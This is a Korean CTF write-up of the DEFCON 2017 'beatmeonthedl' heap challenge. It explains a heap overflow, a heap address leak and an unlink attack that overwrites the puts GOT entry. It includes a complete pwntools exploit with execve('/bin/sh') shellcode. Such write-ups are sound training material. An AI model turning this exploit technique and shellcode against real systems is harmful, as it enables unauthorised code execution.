y0u_bat
[DEFCON 2017] beatmethedl 본문
심심해서 간만에 CTF 참여해서 풀어봤다.
unlink를 해서 푸는 heap문제다. 오랜만에 CTF 해서 그런지 재미있게 했다.
Mitigation
Login
로그인검사를 하는데, 바이너리내에 있는 문자열을 strcmp으로 비교한다. ID를 mcfly로, PW를 awesnap로 해주면 로그인이 된다.
Memu
바이너리의 메뉴이다. 일반적인 Heap 문제처럼 추가,출력,삭제,수정 기능을 가지고 있는 전형적인 Heap 문제이다. 해당 바이너리내에 malloc함수와 free함수가 구현되어 있다.
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
구현된 함수에 이루틴이 없어서 unsafe_unlink가 아닌 unlink를 통하여 좀 더 간단하게 exploit 할 수 있었다.
Heap Overflow
add_request 함수에서 대놓고 read함수로 chunk의 크기는 0x38인데 0x80을 입력 받아서, heap overflow를 일으킨다.
또한, update_request에서 chunk 내용을 수정할때도, read로 0x80만큼 쓰기 때문에, heap overflow가 일어난다.
Heap address Leak
def heap_leak():
add("test1")
add("test2")
add("test3")
add("test4")
add("test5")
delete(3)
delete(1)
update(0,"a"*0x40)
s.send("2")
print s.recvuntil("a"*0x40)
heap = s.recv(4) + "\x00"*4
heap = u64(heap)
return heap
이렇게 청크를 3번 할당하고 3번 chunk와 1번 chunk순으로 free를 해주게 되면, 순환 더블 링크드리스트이기 때문에, 1번 chunk fd부분에 3번 chunk 주소가 들어가게 된다.
그리고 0번 chunk를 1번청크 fd전까지 a로 덮고, 2번메뉴인 출력 메뉴를 통해서 출력하면 3번 chunk의 주소를 릭 할수있게 된다.
Double Free bug
def heap_leak():
add("test1")
add("test2")
add("test3")
add("test4")
add("test5")
delete(3)
delete(1)
update(0,"a"*0x40)
s.send("2")
print s.recvuntil("a"*0x40)
heap = s.recv(4) + "\x00"*4
heap = u64(heap)
return heap
def exploit(shellcode):
shell = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
update(0,"\x90"*0x30 + p64(0x0) + p64(0x41)+p64(0x609958-0x18) + p64(shellcode))
update(4,"\x90"*4+"\xeb\x1e"+"\x90"*0x50 + shell+"\x90"*4)
s.sendline("3")
print s.recvuntil("choice: ")
s.send("0")
현재 chunk가 5개 있고, 3번->1번 순으로 free한 상태이다. unlink는 병합할때 일어난다.
현재 1번 chunk가 free 되어 있으니, 0번 chunk를 free 하게 되면 free된 2번 chunk와 병합하면서 unlink가 일어난다.
그러므로, 0번을 update 메뉴로 heap overflow를 내면서 1번 chunk의 fd와 bk를 수정한다.
fd는 puts_got-0x18로 bk는 shellcode가 담긴 4번 chunk로 그 다음 0번을 free 해주면 1번과 0번이 병합하는 과정에서 unlink가 일어난다.
unlink가 일어나서 puts_got에 shellcode가 담긴 chunk 4번의 주소가 담기다.
chunk 4번 주소의 +0x10 한 부분에는 fd 주소가 박히게 된다.
그래서 shellcode의 흐름이 중간에 깨지게 되는데, 이것은 jmp instruction를 통해서 쉽게 해결 할 수 있다.
0: eb 1e jmp 0x20
jmp 0x20을 통해 흐름을 안깨고 shellcode를 실행 할 수 있게 된다.
Exploit Code
from pwn import *
#s = remote("beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me",6969)
s = remote("172.16.174.152",8888)
def login():
print s.recvuntil("Enter username: ")
s.sendline("mcfly")
print s.recvuntil("Enter Pass: ")
s.sendline("awesnap")
def add(content):
s.sendline("1")
print s.recvuntil("Request text > ")
s.send(str(content))
print s.recvuntil("| ")
def delete(choice):
s.sendline("3")
print s.recvuntil("choice: ")
s.send(str(choice))
print s.recvuntil("| ")
def update(choice,data):
s.sendline("4")
print s.recvuntil("choice: ")
s.send(str(choice))
print s.recvuntil("data: ")
s.send(str(data))
print s.recvuntil("| ")
def heap_leak():
add("test1")
add("test2")
add("test3")
add("test4")
add("test5")
delete(3)
delete(1)
update(0,"a"*0x40)
s.send("2")
print s.recvuntil("a"*0x40)
heap = s.recv(4) + "\x00"*4
heap = u64(heap)
return heap
def exploit(shellcode):
shell = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
update(0,"\x90"*0x30 + p64(0x0) + p64(0x41)+p64(0x609958-0x18) + p64(shellcode))
update(4,"\x90"*4+"\xeb\x1e"+"\x90"*0x50 + shell+"\x90"*4)
s.sendline("3")
print s.recvuntil("choice: ")
s.send("0")
login()
print s.recvuntil("| ")
heap_shellcode = heap_leak() + 0x50
print "heap shellcode space : " + hex(heap_shellcode)
exploit(heap_shellcode)
s.interactive()
'System > [CTF]' 카테고리의 다른 글
Codegate2018 - BaskinRobins31 (0) | 2018.02.10 |
---|---|
Codegate2018 - Super Marimo (0) | 2018.02.10 |
Codegaet2018 - Melong (0) | 2018.02.10 |
[DEFCON 2017] mute (0) | 2017.05.08 |
[DEFCON 2017] Smashme (0) | 2017.05.07 |